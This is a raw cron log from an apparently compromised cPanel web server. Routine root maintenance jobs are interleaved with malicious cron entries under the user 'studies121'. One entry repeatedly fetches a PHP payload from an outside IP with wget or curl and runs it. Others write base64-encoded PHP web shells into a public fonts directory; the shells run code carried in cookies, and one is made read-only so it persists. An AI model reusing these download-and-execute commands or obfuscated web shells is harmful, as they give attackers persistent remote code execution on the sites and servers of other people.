Sep  7 13:40:01 ip-184-168-122-23 CROND[5159]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:40:01 ip-184-168-122-23 CROND[5155]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:40:01 ip-184-168-122-23 CROND[5157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:40:01 ip-184-168-122-23 CROND[5160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:40:01 ip-184-168-122-23 CROND[5156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:40:01 ip-184-168-122-23 CROND[5161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:40:01 ip-184-168-122-23 CROND[5162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:41:01 ip-184-168-122-23 CROND[5259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:41:01 ip-184-168-122-23 CROND[5262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:41:01 ip-184-168-122-23 CROND[5261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:41:01 ip-184-168-122-23 CROND[5263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:42:01 ip-184-168-122-23 CROND[5351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:42:01 ip-184-168-122-23 CROND[5353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:42:01 ip-184-168-122-23 CROND[5358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:42:01 ip-184-168-122-23 CROND[5357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:42:01 ip-184-168-122-23 CROND[5356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:43:01 ip-184-168-122-23 CROND[5441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:43:01 ip-184-168-122-23 CROND[5442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:43:01 ip-184-168-122-23 CROND[5443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:43:01 ip-184-168-122-23 CROND[5440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:44:01 ip-184-168-122-23 CROND[5554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:44:01 ip-184-168-122-23 CROND[5556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:44:01 ip-184-168-122-23 CROND[5557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:44:01 ip-184-168-122-23 CROND[5560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:44:01 ip-184-168-122-23 CROND[5558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:45:01 ip-184-168-122-23 CROND[5757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:45:01 ip-184-168-122-23 CROND[5758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:45:01 ip-184-168-122-23 CROND[5759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:45:01 ip-184-168-122-23 CROND[5761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:45:01 ip-184-168-122-23 CROND[5762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:45:01 ip-184-168-122-23 CROND[5760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:46:01 ip-184-168-122-23 CROND[5860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:46:01 ip-184-168-122-23 CROND[5861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:46:01 ip-184-168-122-23 CROND[5864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:46:01 ip-184-168-122-23 CROND[5866]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 13:46:01 ip-184-168-122-23 CROND[5867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:46:01 ip-184-168-122-23 CROND[5868]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 13:46:01 ip-184-168-122-23 CROND[5870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:47:01 ip-184-168-122-23 CROND[6003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:47:01 ip-184-168-122-23 CROND[6004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:47:01 ip-184-168-122-23 CROND[6006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:47:01 ip-184-168-122-23 CROND[6005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:48:01 ip-184-168-122-23 CROND[6084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:48:01 ip-184-168-122-23 CROND[6086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:48:01 ip-184-168-122-23 CROND[6085]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:48:01 ip-184-168-122-23 CROND[6088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:48:01 ip-184-168-122-23 CROND[6087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:49:01 ip-184-168-122-23 CROND[6209]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 13:49:01 ip-184-168-122-23 CROND[6210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:49:01 ip-184-168-122-23 CROND[6213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:49:01 ip-184-168-122-23 CROND[6211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:49:01 ip-184-168-122-23 CROND[6212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:50:01 ip-184-168-122-23 CROND[6440]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:50:01 ip-184-168-122-23 CROND[6443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:50:01 ip-184-168-122-23 CROND[6444]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 13:50:01 ip-184-168-122-23 CROND[6445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:50:01 ip-184-168-122-23 CROND[6449]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:50:01 ip-184-168-122-23 CROND[6446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:50:01 ip-184-168-122-23 CROND[6448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:50:01 ip-184-168-122-23 CROND[6450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:50:01 ip-184-168-122-23 CROND[6451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:51:01 ip-184-168-122-23 CROND[6604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:51:01 ip-184-168-122-23 CROND[6603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:51:01 ip-184-168-122-23 CROND[6605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:51:01 ip-184-168-122-23 CROND[6606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:52:01 ip-184-168-122-23 CROND[6720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
